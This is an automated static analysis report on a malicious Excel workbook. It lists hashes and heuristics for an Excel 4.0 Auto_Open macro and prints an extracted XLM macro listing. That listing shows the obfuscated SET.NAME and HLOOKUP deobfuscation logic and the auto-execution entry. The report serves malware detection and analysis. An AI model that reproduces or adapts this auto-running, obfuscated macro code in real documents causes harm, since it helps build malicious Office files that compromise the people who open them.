Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a1312775c52549ae…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:42:28 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 3c793b11b6c5eded6794269bc2b9099f SHA-1: 3e86b60591eabe96251ab72adfc9e50f3ce9eeb2 SHA-256: a1312775c52549ae4dc220eac09699f9db6a62945993a8e651f0f892f9888279
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6701 bytes
SHA-256: 60195e0ccf62bf0bcc40ef224fb811bc6f2e3e353399f947bf2529d21f34f0ee
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  qyXoe
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F172 
' 0018     21 LABEL : Cell Value, String Constant - bKWbbq len=0 
' 0018     20 LABEL : Cell Value, String Constant - CjeSc len=0 
' 0018     23 LABEL : Cell Value, String Constant - CyETynPA len=0 
' 0018     20 LABEL : Cell Value, String Constant - HEWlK len=0 
' 0018     25 LABEL : Cell Value, String Constant - ItSYLYBHIP len=0 
' 0018     22 LABEL : Cell Value, String Constant - kEyuVnq len=0 
' 0018     26 LABEL : Cell Value, String Constant - kigmhAzcUhj len=0 
' 0018     22 LABEL : Cell Value, String Constant - lJgjIJf len=0 
' 0018     27 LABEL : Cell Value, String Constant - MNikXQqYTqpR len=0 
' 0018     25 LABEL : Cell Value, String Constant - OorXlBRqrr len=0 
' 0018     26 LABEL : Cell Value, String Constant - OXWqzdNlbdM len=0 
' 0018     21 LABEL : Cell Value, String Constant - rLLHfh len=0 
' 0018     20 LABEL : Cell Value, String Constant - Spjiz len=0 
' 0018     27 LABEL : Cell Value, String Constant - TruJOxLdqsoi len=0 
' 0018     23 LABEL : Cell Value, String Constant - tUKxcAkZ len=0 
' 0018     27 LABEL : Cell Value, String Constant - VOsRpLfwVFLA len=0 
' 0018     23 LABEL : Cell Value, String Constant - wKncJnAG len=0 
' 0018     27 LABEL : Cell Value, String Constant - xrGXhGCDAWWZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - xsdCzXX len=0 
' 0018     24 LABEL : Cell Value, String Constant - xsSAnFXYc len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  qyXoe,F81,"SET.NAME("VOsRpLfwVFLA",0+VALUE("0"))",""
'  qyXoe,F86,"SET.NAME("bKWbbq",VOsRpLfwVFLA)",""
'  qyXoe,Q87,"",499.00000000000000000000
'  qyXoe,F88,"SET.NAME("MNikXQqYTqpR",VOsRpLfwVFLA)",""
'  qyXoe,Q88,"",-49.00000000000000000000
'  qyXoe,Q89,"",-552.00000000000000000000
'  qyXoe,Q90,"",694.00000000000000000000
'  qyXoe,F91,"SET.NAME("OXWqzdNlbdM",COUNTA(xrGXhGCDAWWZ))",""
'  qyXoe,Q91,"",-452.00000000000000000000
'  qyXoe,Q92,"",-989.00000000000000000000
'  qyXoe,F95,"SET.NAME("ItSYLYBHIP",COUNTA(rLLHfh))",""
'  qyXoe,F98,[],""
'  qyXoe,F102,"SET.NAME("lJgjIJf","")",""
'  qyXoe,F105,"bKWbbq",""
'  qyXoe,F110,"SET.NAME("HEWlK",HLOOKUP("*",xrGXhGCDAWWZ,bKWbbq,FALSE))",""
'  qyXoe,F113,"xsdCzXX",""
'  qyXoe,F118,"SET.NAME("kEyuVnq",VOsRpLfwVFLA)",""
'  qyXoe,F120,[],""
'  qyXoe,F123,"kEyuVnq",""
'  qyXoe,F126,"TruJOxLdqsoi",""
'  qyXoe,F130,"wKncJnAG",""
'  qyXoe,F132,"CjeSc",""
'  qyXoe,F136,"SET.NAME("Spjiz",VALUE(HLOOKUP("*",rLLHfh,CjeSc,FALSE)))",""
'  qyXoe,F141,"CyETynPA",""
'  qyXoe,F143,"lJgjIJf",""
'  qyXoe,F148,"MNikXQqYTqpR",""
'  qyXoe,F150,NEXT(),""
'  qyXoe,F154,"tUKxcAkZ",""
'  qyXoe,F158,[],""
'  qyXoe,F161,"xsSAnFXYc",""
'  qyXoe,F163,NEXT(),""
'  qyXoe,F167,RETURN(),""
'  qyXoe,F195,"SET.NAME("kigmhAzcUhj",F81)",""
'  qyXoe,F199,"xrGXhGCDAWWZ",""
'  qyXoe,F204,"SET.NAME("rLLHfh",R90C14)",""
'  qyXoe,F207,"SET.NAME("xsSAnFXYc",213)",""
'  qyXoe,F209,"SET.NAME("OorXlBRqrr",6)",""
'  qyXoe,F212,kigmhAzcUhj(),""
'  qyXoe,F213,HALT(),""

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